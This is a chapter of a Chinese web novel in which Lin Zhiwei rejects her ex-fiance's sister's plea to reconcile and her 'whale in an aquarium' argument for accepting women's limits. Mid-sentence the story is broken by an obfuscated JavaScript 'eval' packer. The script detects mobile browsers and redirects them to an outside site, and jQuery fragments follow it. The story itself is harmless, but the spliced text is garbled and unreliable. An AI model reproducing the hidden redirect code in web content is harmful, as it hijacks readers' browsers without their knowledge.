赵玉兰还穿着那条红裙子,站在原地有些局促。
她看着张敏那张诚恳的脸,心里那些传统的“劝和不劝分”思想又开始冒头。
她转过身刚要开口,林知微直接一个滑步,露出了身后的全身镜。
看到自己身上那间火红裙子的时候,赵玉兰的牙齿第一次主动合上了。
见赵玉兰明摆着不会为自己说话,张敏又看向林建国,结果林建国也一屁股坐回了沙发上,明显不打算掺和。
她最后只能尴尬的继续劝说林知微,“微微,我们两家真的要闹到这种地步吗?哪怕是真的打算一辈子不理我妈,不理张哲,但是你连和我都不愿意再说一句话了吗?你忘了之前生病,是我——”
生病两个字一出口,林知微瞬间冷冷的看了一眼张敏。
张敏意识到自己失言,连忙打住了嘴。
“什么生病?”
“什么时候?”但赵玉兰还是一下就提取到了关键词,她立马上前一步,“微微,什么生病?”
林知微叹了口气,安抚赵玉兰道,“没事妈,就是我之前出差的时候感冒了而已,当时是张敏给我送的药,已经好了,您看我现在不好好站在这呢吗?都过去了。您继续试衣服吧。这样,我和张敏去楼下咖啡厅聊。”
说完林知微换了身衣服,看向张敏,“走吧。”
张敏一愣,哎了一声,转身跟上。
但很显然,她发现了,林知微眼睛里看向她时,最后那点温情也没有了、
...
小区楼下的“半日闲”咖啡厅里,冷气开得很足,甚至带着几分刺骨的寒意。
正是工作日,店里没什么客人,只有角落里的冰淇淋机发出沉闷的嗡嗡声,像极了此刻凝固在两人之间的气氛。
林知微要了一杯冰可可,面前的水珠顺着杯壁缓缓滑落,在地垫上晕开一小圈水渍。
张敏坐在对面,面前是一杯温热的红茶。她今天化了淡妆,虽然穿着得体,但眼底的乌青即便遮瑕膏也没能完全盖住。她双手捧着杯子,似乎在汲取那一点微不足道的温度。
“微微,还在生姐的气?”张敏率先打破了沉默,声音一如既往的温婉,带着几分小心翼翼的试探。
林知微搅动了一下吸管,冰块撞击杯壁,发出清脆的“叮叮”声。
“谈不上生气。”林知微语气平淡,根本不想多聊。
张敏苦笑了一声,轻轻叹了口气,“你生气是应该的。我说句实话,如果换做是我,我是没脸再来找你的。”
“我妈那是咎由自取,我们都不站在她那边的。”
张敏摇了摇头,随即话锋一转,“但张哲……他是真的不知情。昨天晚上他知道妈去你公司闹事后,气得把家里的电视都砸了。为了让妈不再找你闹事,他在家跪了一整晚,就在客厅的地砖上,今早膝盖肿得连裤子都穿不进去。”
她抬起头,眼神真挚:“微微,他是真心想挽回你的。毕竟你们呢三年感情,真的要因为老一辈的糊涂账,就这么断了吗?”
这是典型的情感绑架。
用□□的痛苦来置换道德的高地,将核心的利益冲突偷换成“老一辈的糊涂账”。
林知微不仅没感动,甚至想笑。
“敏姐。”林知微放下吸管打断了她的话,“张哲跪他妈天经地义,而且他是为了我么。他是为了他自己。如果不是你替你妈求情的,派出所那边已经走了程序,我也撤不回来,张哲的铁饭碗也不保了。所以,你以上说的跟我一毛钱关系没有。而且我和张哲分开也不只是因为他妈的缘故,如果你今天来就是替张哲当说客的,那你这杯茶喝完就可以走了。”
张敏被噎得哑口无言,捧着茶杯的手指微微泛白。
她没想到,曾经那个温吞、好说话、甚至有些讨好型人格的弟妹,如今竟然变得如此逻辑缜密,甚至……冷酷。
沉默了良久,张敏放下了杯子。
她不再试图用那些苍白的借口,而是换了一种更深沉、更无奈的语气。
“微微,我知道你说得都对。”张敏看着窗外刺眼的阳光,眼神变得有些虚无,“这事儿换做是我,我也委屈,我也想闹,我也想一走了之。”
“但是……你们都谈婚论嫁了啊。”她转过头,看着林知微,眼角带着一丝过来人的悲悯,“微微,你要知道,我们终究生活在现实里啊。女人这一辈子,不就是在一堆烂摊子里修修补补吗?”
“你现在觉得不公,觉得吃亏。可你有没有想过,等你过了三十岁,再想找个张哲这样知根知底、工作稳定、不抽烟不喝酒的,有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059997|195024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多难?社会对女人的容错率太低了。”
张敏的声音放得很轻,像是在说什么不可告人的秘密:“微微,咱们女人就像是被养在海洋馆里的鲸鱼。”
林知微眉梢一挑,语气里都是掩盖不住的惊讶:“鲸鱼?”
“对,鲸鱼。”张敏比划了一下,“我们知道大海很辽阔,知道外面有自由。可是我们就生在这个狭小的水池里,四面都是厚厚的玻璃墙。这就是我们的命——家庭、孩子、社会舆论、生理构造,这些就是那道墙。”
“我们可以向往大海,但如果我们非要硬生生地往玻璃上撞,最后头破血流的只能是自己。与其清醒地痛苦,不如在这个水池里,学会怎么游得舒服一点,学会怎么跟饲养员——讨一点更好的饵料。”
张敏说着,伸手想去握林知微的手,眼里满是真诚的劝诫:“姐是过来人,也是为了你好。太清醒的女人,是不会幸福的。”
这番话,听起来多么刺耳,却又多么“现实”。
这是一个已经被驯化的灵魂,在试图向另一个即将逃离的灵魂兜售枷锁的舒适度。
林知微就这么看着张敏像在看一个陌生人,她直接抽回了自己的手,避开了张敏的触碰。
“敏姐。”林知微的声音平静而有力,穿透了冷饮厅里嗡嗡的杂音,“你的比喻很生动,也很有文采,不愧是大学老师。”
张敏眼神微亮,以为说动了她。
“但是。”林知微指了指自己,又指了指门外熙熙攘攘的大街,“但我不是鱼。我是人。”
“‘男’和‘女’,在生物学上只是两个形容词,用来形容不同的生理特征。和力气大的力气小的,聪明的不聪明的一样。但在人类文明的史书上,我们的物种只有一个名词——人。在地球这个历史上,我们也只会以人这一个名词一笔带过。”
张敏彻底呆住了。
她张着嘴,看着眼前这个意气风发的女孩,仿佛看到了一团正在燃烧的火,那是她年轻时也曾拥有、却早已熄灭的东西。
“敏姐。”林知微拿起桌上的账单,“你要是想做鲸鱼我不拦着,但也请你别拦着那些想回大海的鲸鱼,也别拦着我做人。”
说完,林知微掏出手机,在屏幕上快速点了几下。
“这顿我请了。”